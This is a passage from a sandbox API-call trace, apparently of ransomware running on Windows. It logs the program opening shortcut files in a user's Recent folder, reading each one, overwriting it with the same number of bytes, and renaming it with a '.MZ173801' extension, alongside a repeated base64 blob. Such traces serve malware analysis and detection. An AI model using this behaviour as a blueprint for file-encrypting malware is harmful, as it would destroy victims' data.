(lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Vl wwF.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vl wwf.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.202] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.202] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.202] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xa04 [0122.202] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.203] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa04, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa04, lpOverlapped=0x0) returned 1 [0122.204] CloseHandle (hObject=0x288) returned 1 [0122.204] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Vl wwF.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vl wwf.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.205] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa04, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa04, lpOverlapped=0x0) returned 1 [0122.206] CloseHandle (hObject=0x288) returned 1 [0122.207] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Vl wwF.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vl wwf.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\Vl wwF.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vl wwf.lnk.mz173801")) returned 1 [0122.225] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1cd1c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf1cd1c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf1cd1c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa37, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="vq7ZCx5KHQ.lnk", cAlternateFileName="VQ7ZCX~1.LNK")) returned 1 [0122.225] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.225] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.225] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vq7ZCx5KHQ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vq7zcx5khq.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1cd1c0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf1cd1c0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf1cd1c0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa37)) returned 1 [0122.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.227] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0122.229] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vq7ZCx5KHQ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vq7zcx5khq.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.230] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0122.230] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.230] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0xa37 [0122.230] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0122.230] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0xa37, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0xa37, lpOverlapped=0x0) returned 1 [0122.231] CloseHandle (hObject=0x288) returned 1 [0122.231] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vq7ZCx5KHQ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vq7zcx5khq.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0122.232] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0xa37, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0xa37, lpOverlapped=0x0) returned 1 [0122.233] CloseHandle (hObject=0x288) returned 1 [0122.236] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vq7ZCx5KHQ.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vq7zcx5khq.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vq7ZCx5KHQ.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vq7zcx5khq.lnk.mz173801")) returned 1 [0122.237] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddb56220, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf454920, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf454920, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe67, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="VS9E98FuPzAd.lnk", cAlternateFileName="VS9E98~1.LNK")) returned 1 [0122.237] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0122.237] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0122.237] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\VS9E98FuPzAd.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\vs9e98fupzad.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddb56220, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf454920, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf454920, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xe67)) returned 1 [0122.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0122.239] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERF